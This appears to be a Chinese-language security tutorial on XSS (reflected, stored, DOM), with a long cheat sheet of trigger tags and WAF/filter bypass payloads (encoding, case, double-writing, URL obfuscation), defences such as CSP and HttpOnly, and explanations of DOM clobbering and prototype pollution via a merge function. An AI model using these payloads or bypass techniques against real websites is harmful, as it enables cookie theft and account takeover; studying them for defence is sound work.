一.xss原理
XSS攻击最终目的是在网页中嵌入客户端恶意代码,最常用的攻击代码是JavaScript语言,但也会使用其 他的脚本语言,例如:ActionScript、VBScript。而如今的互联网客户端脚本基本上是基于JavaScript, 所以如果想要深入研究xss,必须要精通JavaScript。 xss换句话说,JavaScript能够到什么效果,xss的胃里就有多大。这完全不是危言耸听。JavaScript可以 用于获取用户的cookie,弹出窗口,那么存在xss漏洞的网站,xss就可以用来盗取用户cookie,废掉页 面,导航到恶意网站!更高端的xss代码完全可以进行监控你的键盘操作,模仿windows注销界面,诱导 你输入开机密码!而攻击者需要做的仅仅是向你的代码中注入JavaScript代码! XSS 的本质是:恶意代码未经过滤,与网站正常的代码混在一起;浏览 器无法分辨哪些脚本是可信的,导致恶意脚本被执行。 而由于直接在用户的终端执行,恶意代码能够直接获取用户的信息,或 者利用这些信息冒充用户向网站发起攻击者定义的请求。 在部分情况下,由于输入的限制,注入的恶意脚本比较短。但可以通过 引入外部的脚本,并由浏览器执行,来完成比较复杂的攻击策略。
危害: 网站弹窗(刷流量)、网站挂马、会话劫持、cookie被盗取、用户提升、账号被盗、蠕虫攻击等
二、XSS漏洞类型
1.反射型(非持续型)
反射型xss也称作非持久型、参数型跨站脚本,主要用于将恶意脚本附加到URL地址的参数中。
产生层面:前段
漏洞特性:一次性的、前端执行、不会存储在后端数据库。
原理:
攻击者构造出特殊的 URL,其中包含恶意代码。 用户打开带有恶意代码的 URL 时,网站服务端将恶意代码从 URL 中取出,拼接在 HTML 中返回给浏览器。 用户浏览器接收到响应后解析执行,混在其中的恶意代码也被执行。 恶意代码窃取用户数据并发送到攻击者的网站,或者冒充用户的行为,调用目标网站接口执行攻击者指定的 操作。
2.储存型
- 此类XSS不需要用户单击特定URL就能执行跨站脚本。
- 攻击者事先将恶意JavaScript代码上传或存储到漏洞服务器中。
- 当受害者浏览包含此恶意JavaScript代码的页面就会执行恶意代码。
产生层面:后端
漏洞特征:持久性的、前端执行、储存在后端数据库
存储型 XSS 常出现在网站的留言版、评论、博客日志等交互处
存储型xss数据交互过程:
用户输入数据->后端执行php代码->存入数据库某张表->返回数据给php页面->回显前端
存储型xss的攻击步骤:
1.攻击者将恶意代码提交到目标网站的数据库中。
2.用户打开目标网站时,网站服务端将恶意代码从数据库取出,拼接在 HTML 中返回给浏览器。
3.用户浏览器接收到响应后解析执行,混在其中的恶意代码也被执行。
4.恶意代码窃取用户数据并发送到攻击者的网站,或者冒充用户的行为,调用目标网站接口执行攻击者指 定的操作。
这种攻击常见于带有用户保存数据的网站功能,如论坛发帖、商品评论、用户私信等。
3.DOM型XSS
产生层面:前端、特殊的反射型XSS
漏洞特征:一次性的、前端执行、不会储存在后端数据库、程序执行不依赖 于服务器端的数据 web server不参与,仅仅涉及到浏览器的XSS。
原理:DOM XSS的XSS代码不需要服务端解析响应的直接参与,触发XSS的是浏览器端的 DOM解析。
用户在客户端输入的数据如果包含了恶意JavaScript脚本,而这些脚本没有经过适当的 过滤,应用程序就可能受到基于DOM的XSS攻击。 (自己弹自己--dom)
什么是DOM?
DOM是JS操作网页的接口,全称为“文档对象模型”(Document Object Model)。它的作用是 将网页转为一个JS对象,从而可以用脚本进行各种操作(比如增删内容)
DOM节点
文档是由节点构成的集合,在DOM里存在许多不同类型的节点,主要分为3种:元素节点、文本节点、属性节点。
1、元素节点
在“购物清单”例子中,<body><p><ul>之类的元素在文档中的布局形成了文档的结构,它们即是元素节点。
2、文本节点
文档通常会包含一些内容,这些内容多数由文本提供,如前面的例子中,包含着文本“欢迎购买”,它就是一个文本节点。
3、属性节点
元素或多或少都有一些属性,属性用于对元素做出更具体的描述
DOM原理
XSS原理客户端的脚本程序可以通过DOM动态地检查和修改页面内容。 程序执行不依赖于服务器端的数据,从客户端获得DOM中的数据并在本地执行。 浏览器用户可以操纵DOM中的一些对象,例如URL、location等。 用户在客户端输入的数据如果包含了恶意JavaScript脚本,而这些脚本没有经过适当的过滤和消毒, 应用程序就可能受到基于DOM的XSS攻击。
4.区别
与之前两类XSS漏洞不同的是:
漏洞发生原因跟服务器解析无关,纯粹是JS代码读取了URL内容导致。
dom-xss取决于输出位置,并不取决于输出环境,因此domxss既有可能是反射型的,也有可能是存储型
因此检测JS代码中可能触发DOM型XSS的属性如下:
1.document.referer 属性
2.window.name 属性
3.location 属性
4.innerHTML 属性
5.documen.write 属性
三、XSS常见触发标签
1.无过滤情况
<script>
<scirpt>alert("xss");</script>
<img>
图片加载错误时触发
<img src="x" οnerrοr=alert(1)>
<img src="1" οnerrοr=eval("alert('xss')")>
鼠标指针移动到元素时触发
<img src=1 οnmοuseοver="alert(1)">
鼠标指针移出时触发
<img src=1 οnmοuseοut="alert(1)">
<a>
<a href="https://www.qq.com">qq</a>
<a href=javascript:alert('xss')>test</a>
<a href="javascript:a" οnmοuseοver="alert(/xss/)">aa</a>
<a href="" οnclick=alert('xss')>a</a>
<a href="" οnclick=eval(alert('xss'))>aa</a>
<a href=kycg.asp?ttt=1000 οnmοuseοver=prompt('xss') y=2016>aa</a>
<input>
<input οnfοcus="alert('xss');">
竞争焦点,从而触发onblur事件
<input οnblur=alert("xss") autofocus><input autofocus>
通过autofocus属性执行本身的focus事件,这个向量是使焦点自动跳到输入元素上,触发焦点事件,无需用户去触发
<input οnfοcus="alert('xss');" autofocus>
<input name="name" value="">
<input value="" οnclick=alert('xss') type="text">
<input name="name" value="" οnmοuseοver=prompt('xss') bad="">
<input name="name" value=""><script>alert('xss')</script>
按下按键时触发
<input type="text" οnkeydοwn="alert(1)">
按下按键时触发
<input type="text" οnkeypress="alert(1)">
松开按键式时触发
<input type="text" οnkeyup="alert(1)">
<from>
<form action=javascript:alert('xss') method="get">
<form action=javascript:alert('xss')>
<form method=post action=aa.asp? οnmοuseοver=prompt('xss')>
<form method=post action=aa.asp? οnmοuseοver=alert('xss')>
<form action=1 οnmοuseοver=alert('xss)>
<form method=post action="data:text/html;base64,<script>alert('xss')</script>">
<form method=post action="data:text/html;base64,PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4=">
<iframe>
<iframe οnlοad=alert("xss");></iframe>
<iframe src=javascript:alert('xss')></iframe>
<iframe src="data:text/html,<script>alert('xss')</script>"></iframe>
<iframe src="data:text/html;base64,<script>alert('xss')</script>">
<iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4=">
<iframe src="aaa" οnmοuseοver=alert('xss') /><iframe>
<iframe src="javascript:prompt(``xss``)"></iframe>(````只有两个``)
<svg>
<svg οnlοad=alert(1)>
<body>
<body οnlοad="alert(1)">
利用换行符以及autofocus,自动去触发onscroll事件,无需用户去触发
<body οnscrοll=alert("xss");><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><input autofocus>
<button>
元素上点击鼠标时触发
<button οnclick="alert(1)">text</button>
<p>
元素上按下鼠标时触发
<p οnmοusedοwn="alert(1)">text</p>
元素上释放鼠标时触发
<p οnmοuseup="alert(1)">text</p>
<details>
<details οntοggle="alert('xss');">
使用open属性触发ontoggle事件,无需用户去触发
<details open οntοggle="alert('xss');">
<select>
<select οnfοcus=alert(1)></select>
通过autofocus属性执行本身的focus事件,这个向量是使焦点自动跳到输入元素上,触发焦点事件,无需用户去触发
<select οnfοcus=alert(1) autofocus>
<video>
<video><source οnerrοr="alert(1)">
<audio>
<audio src=x οnerrοr=alert("xss");>
<textarea>
<textarea οnfοcus=alert("xss"); autofocus>
<keygen>
<keygen autofocus οnfοcus=alert(1)> //仅限火狐
<marquee>
<marquee onstart=alert("xss")></marquee> //Chrome不行,火狐和IE都可以
<isindex>
<isindex type=image src=1 οnerrοr=alert("xss")>//仅限于IE
利用link远程包含js文件
在无CSP的情况下才可以
<link rel=import href="http://127.0.0.1/1.js">
javascript伪协议
<a>标签
<a href="javascript:alert('xss');">xss</a>
<iframe>标签
<iframe src=javascript:alert('xss');></iframe>
<img>标签
<img src=javascript:alert('xss')>//IE7以下
<form>标签
<form action="Javascript:alert(1)"><input type=submit>
2.存在过滤情况
过滤空格
用 / 代替空格
<img/src="x"/οnerrοr=alert("xss");>
过滤关键字
大小写绕过
<ImG sRc=x onerRor=alert("xss");>
双写关键字(有些waf可能会只替换一次且是替换为空,这种情况下我们可以考虑双写关键字绕过)
<imimgg srsrcc=x οnerrοr=alert("xss");>
字符拼接(利用eval)
<img src="x" οnerrοr="a=aler;b=t;c='(xss);';eval(a+b+c)">
字符拼接(利用top)
<script>top["al"+"ert"](``xss``);</script>(只有两个``这里是为了凸显出有`符号)
其它字符混淆
有的waf可能是用正则表达式去检测是否有xss攻击,如果我们能fuzz出正则的规则,则我们就可以使用其它字符去混淆我们注入的代码了
下面举几个简单的例子
可利用注释、标签的优先级等
<<script>alert("xss");//<</script>
<scri<!--test-->pt>alert("hello world!")</scri<!--test-->pt>
<title><img src=</title>><img src=x οnerrοr="alert(``xss``);"> 因为title标签的优先级比img的高,所以会先闭合title,从而导致前面的img标签无效
<SCRIPT>var a="\\";alert("xss");//";</SCRIPT>
编码绕过
Unicode编码绕过
<img src="x" οnerrοr="alert("xss");">
<img src="x" οnerrοr="eval('\u0061\u006c\u0065\u0072\u0074\u0028\u0022\u0078\u0073\u0073\u0022\u0029\u003b')">
url编码绕过
<img src="x" οnerrοr="eval(unescape('%61%6c%65%72%74%28%22%78%73%73%22%29%3b'))">
<iframe src="data:text/html,%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%31%29%3C%2F%73%63%72%69%70%74%3E"></iframe>
Ascii码绕过
<img src="x" οnerrοr="eval(String.fromCharCode(97,108,101,114,116,40,34,120,115,115,34,41,59))">
Hex绕过
<img src=x οnerrοr=eval('\x61\x6c\x65\x72\x74\x28\x27\x78\x73\x73\x27\x29')>
八进制绕过
<img src=x οnerrοr=alert('\170\163\163')>
base64绕过
<img src="x" οnerrοr="eval(atob('ZG9jdW1lbnQubG9jYXRpb249J2h0dHA6Ly93d3cuYmFpZHUuY29tJw=='))">
<iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4=">
过滤双引号,单引号
如果是html标签中,我们可以不用引号;如果是在js中,我们可以用反引号代替单双引号
<img src="x" οnerrοr=alert(``xss``);>
使用编码绕过,具体看上面列举的例子
过滤括号
当括号被过滤的时候可以使用throw来绕过
<svg/οnlοad="window.οnerrοr=eval;throw'=alert\x281\x29';">
过滤url地址
使用url编码
<img src="x" οnerrοr=document.location=``http://%77%77%77%2e%62%61%69%64%75%2e%63%6f%6d/``>
使用IP
<img src="x" οnerrοr=document.location=``http://2130706433/``>十进制
<img src="x" οnerrοr=document.location=``http://0177.0.0.01/``>八进制
<img src="x" οnerrοr=document.location=``http://0x7f.0x0.0x0.0x1/``>十六进制
<img src="x" οnerrοr=document.location=``//www.baidu.com``>html标签中用//可以代替http://
使用\ (注意:在windows下\本身就有特殊用途,是一个path 的写法,所以\在Windows下是file协议,在linux下才会是当前域的协议)
使用中文逗号代替英文逗号
<img src="x" οnerrοr="document.location=``http://www。baidu。com``">//会自动跳转到百度
四、XSS漏洞防御
1.XSS漏洞防御手段:
(1)CSP内容安全策略
- 禁止加载外域代码,防止复杂的攻击逻辑。
- 禁止外域提交,网站被攻击后,用户的数据不会泄露到外域。
- 禁止内联脚本执行(规则较严格,目前发现 GitHub 使用)。
- 禁止未授权的脚本执行(Google Map 移动版在使用)。
(2)通过设置HttpOnly防止cookie被窃取
(3)输入输出检查(包括前端js和后端php)

可以采用白名单验证或者黑名单验证方法。
- 白名单验证:对用户提交的数据进行检查,只接受指定长度范围内、采用适当格式和预期字符的输入,其余一律过滤。
- 黑名单验证:对包含XSS代码特征的内容进行过滤,如“”、”script”、”#” 等。
- 对所有输出字符进行HTML编码。
- < 转成<
- > 转成>
- & 转成&
- “ 转成"
- ‘转成'
五、DOM破坏
概念:
Dom Clobbering (DOM破坏)就是一种将 HTML 代码注入页面中以操纵 DOM 并最终更改页面上 JavaScript 行为的技术 。在无法直接XSS 的情况下,我们就可以往 DOM Clobbering 这方向考虑了。
原理:
在浏览器中,如果一个 HTML 元素具有 id 或 name 属性,浏览器会将其作为 window 对象的属性。攻击者可以通过插入恶意 HTML 元素,覆盖或篡改 JavaScript 中的全局变量或对象。
1.JS中获取DOM节点
通过window和document来获取DOM节点
<body>
<img id="x"></div>
<img name="y"></div>
<script>
console.log(x);
console.log(y);
console.log(window.x);
console.log(window.y);
console.log(document.x);
console.log(document.y);
</script>
</body>

可以得知:document不能通过id获取标签值
由于 JS 的作用域规则,可以直接用id来获取标签,因为在当前的作用域找不到时就会往上找,一路找到window。(用x获取DOM节点相当于用window.x)
还有4个特别的元素可以通过name属性来获取:embed,form,img,object
案例:

第一步:执行一个document.cookie读取当前网页的cookie值,没有输出任何值
第二步:在新创建的<div>标签中插入一个<img>标签并将该<div>标签插入到<body>中
第三步:我们利用document.cookie函数输出网页的cookie时,输出的结果却由空值改变成<img>标签
造成这一现象的原因:<img>标签拥有name属性=“cookie”,浏览器会自动在document对象上创建一个同名的属性document.cookie指向该DOM元素<img>
浏览器创建的同名name=cookie属性与已有的JavaScript内置属性名cookie冲突,会覆盖原有的JS代码的作用即执行document.cookie时不是获取当前网页的cookie值而是抓取<img>标签
2.<a>标签的toString
HTMLAnchorElement(也就是<a>标签)重写了 toString 方法,使其返回 href 属性的值。
HTMLAnchorElement:toString() 方法:
-
如果 href 是伪协议(如 javascript:),toString 会返回完整的伪协议 URL。


-
如果 href 是 http:// 或 https://,toString 会返回完整的 URL。

![]()
-
如果 href 是相对路径,toString 会将其转换为完整的绝对路径。


3.嵌套标签的DOM破坏
<div id="x">
<a id="x" name="y" href="1:XSS">
</div>
<script>
console.log(x);
</script>

当我们试图用id=x进行DOM破坏时,浏览器无法确定我们需要获取的标签是哪一个,因此会显示既可获取<div>标签又可获取<a>标签。
用两个id=x是否能够通过DOM破坏获取<div>标签和<a>标签集合
<div id="x">
<a id="x" name="y" href="1:XSS">
</div>
<script>
console.log(x.x);
</script>

显然利用两次id=x是能够获取<div>标签和<a>标签的集合,然而在DOM破坏中我们并非要获取标签而是要获取标签中的字符串从而能够完成恶意攻击,因此我们首先需要获取<a>标签,方法如下:
<div id="x">
<a id="x" name="y" href="1:XSS">
</div>
<script>
console.log(x.y);
</script>

六、原型链污染
1.protoeype属性的作用
JavaScript 规定,每个函数都有一个prototype属性,指向一个对象
function f() {}
typeof f.prototype // "object"
上面代码中,函数f默认具有prototype属性,指向一个对象。
对于普通函数来说,该属性基本无用。但是,对于构造函数来说,生成实例的时候,该属性会自动成为实例对象的原型。
构造函数的一个方法,或者一个属性
function Animal(name) {
this.name = name;
}
Animal.prototype.color = 'white';
var cat1 = new Animal('大毛');
var cat2 = new Animal('二毛');
cat1.color // 'white'
cat2.color // 'white'
上面代码中,构造函数Animal的prototype属性,就是实例对象cat1和cat2的原型对象。原型对象上添加一个color属性,结果,实例对象都共享了该属性。
原型对象的属性不是实例对象自身的属性。只要修改原型对象,变动就立刻会体现在**所有**实例对象上。
Animal.prototype.color = 'yellow';
cat1.color // "yellow"
cat2.color // "yellow"
上面代码中,原型对象的color属性的值变为yellow,两个实例对象的color属性立刻跟着变了。这是因为实例对象其实没有color属性,都是读取原型对象的color属性。也就是说
当实例对象本身没有某个属性或方法的时候,它会到原型对象去寻找该属性或方法。这就是原型对象的特殊之处。
如果实例对象自身就有某个属性或方法,它就不会再去原型对象寻找这个属性或方法。
cat1.color = 'black';
cat1.color // 'black'
cat2.color // 'yellow'
Animal.prototype.color // 'yellow';
上面代码中,实例对象cat1的co1or属性改为b1ack,就使得它不再去原型对象读取co1or属性,后者的值依然为ye11ow
总结一下,原型对象的作用,就是定义所有实例对象共享的属性和方法。这也是它被称为原型对象的原因,而实例对象可以视作从原型对象衍生出来的子对象。
2.__proto__
__proto__是 JavaScript 中一个对象的内部属性,它指向该对象的原型。原型是另一个对象,包含共享的属性和方法,对象可以通过原型继承这些属性和方法。
js 中__proto__的引用:
一个 Foo 类实例化出来的 foo 对象,可通过foo.__proto__属性来访问Foo类中的原型

prototype和__proto__的定义:
- prototype:一个类的属性,所有类对象在实例化的时候会拥有prototype中的属性和方法
- __proto__:一个对象的__proto__属性,指向这个对象所在的类的prototype属性
3.原型链继承
所有类对象在实例化的时候将会拥有 prototype 的属性和方法,这个特性被用来实现 js 中的继承机制
function Father() {
this.first_name = 'Donald';
this.last_name = 'Trump';
}
function Son() {
this.first_name = 'Melania';
}
Son.prototype = new Father();
let son = new Son();
console.log(`Name:${son.first_name} ${son.last_name}`)// Name:Melania Trump
主要流程:
- 在对象son中寻找last_name
- 无法找出,则在son.__proto__中寻找last_name
- 如果仍然无法找到,则继续在son.__proto__.__proto__中寻找last_name
- 依次寻找,直到null结束。如:object.prototype的__proto__就是null
补充:
- 每个构造函数(constructor)都有一个原型对象(prototype)
- 对象的__proto__属性,指向类的原型对象prototype
- js 使用prototype链实现继承机制
4.原型链
JavaScript 规定,所有对象都有自己的原型对象(prototype)。一方面,任何一个对象,都可以充当其他对象的原型;另一方面,由于原型对象也是对象,所以它也有自己的原型。因此,就会形成一个“原型链”(prototype chain):对象到原型,再到原型的原型......
cat1.color--->Animal.prototype---->aaaaaaa.prototype------>xxxxX.--->Object.prototype---->null
object.prototype.valueof = function (){}
如果一层层地上溯,所有对象的原型最终都可以上溯到object.prototype,即object构造函数的prototype属性。也就是说,所有对象都继承了object.prototype的属性。这就是所有对象都有valueof和tostring方法的原因,因为这是从object.prototype继承的。那么,object.prototype对象有没有它的原型呢?回答是object.prototype的原型是null。null没有任何属性和方法,也没有自己的原型。因此,原型链的尽头就是null。
5.constructor
prototype对象有一个constructor属性,默认指向prototype对象所在的构造函数。
function P() {}
P.prototype.constructor === P // true
由于constructor属性定义在prototype对象上面,意味着可以被所有实例对象继承。
constructor属性的作用是,可以得知某个实例对象,到底是哪一个构造函数产生的。
5.原型链污染
实例:
foo.__proto__指向的是Foo类的prototype。若修改foo.__proto__中的值,就可修改Foo类?
// foo是一个简单的JavaScript对象
let foo = {bar:1};
// foo.bar此时为1
console.log(foo.bar);
// 修改foo的原型(即object)
foo.__proto__.bar = 2;
// 查找顺序原因,foo.bar仍然是1
console.log(foo.bar);
// 此时用objecr创建一个空的zoo对象
let zoo = {};
// 查看zoo.bar
console.log(zoo.bar);

解释:
修改 foo 原型foo.__proto__.bar = 2,而 foo 是一个object类的实例,所以实际上是修改了object这个类,给这个类增加了一个属性bar,值为2
后来用object类创建了一个zoo对象,let zoo = {},zoo对象自然也有一个bar属性了
原型链污染的定义:
如果攻击者控制并修改了一个对象的原型,那将可以影响所有和这个对象来自同一个类、父类的对象,这种攻击方式就是原型链污染
哪些情况原型链会被污染?
找到能够控制数组(对象)的“键名”的操作即可
使用megre测试
merge操作是最常见可能控制键名的操作,也最能被原型链攻击
function merge (target,source) {
for(let key in source) {
if(key in source && key in target){
merge(target[key],source[key]);
}else{
target[key] = source[key];
}
}
}
在合并过程中,存在赋值的操作 target[key] = source[key],那么,这个key如果是__proto__,是不是就可以原型链污染呢?
使用如下代码进行测试:
let o1 = {};
let o2 = {a:1,"__proto__":{b:2}};
merge(o1,o2);
console.log(o1.a,o1.b);
o3 = {};
console.log(o3.b);

结果:合并成功,原型链未被污染
解析:js 创建 o2 的过程(let o2 = {a:2,"__proto__":{b:2}})中,__proto__代表o2的原型了,此时遍历o2的所有键名,拿到的是[a,b],__proto__并不是一个key,也不会修改object的原型
修改代码
let o1 = {};
let o2 = JSON.parse('{"a":1,"__proto__":{"b":2}}');
merge(o1,o2);
console.log(o1.a,o2.b);
o3 = {};
console.log(o3.b);

解析:JSON解析的情况下,__proto__会被认为是一个真正的“键名”,不代表原型,所以在遍历o2的时候存在这个键
新建的o3对象,也存在b属性,说明object已被污染
1376

被折叠的 条评论
为什么被折叠?



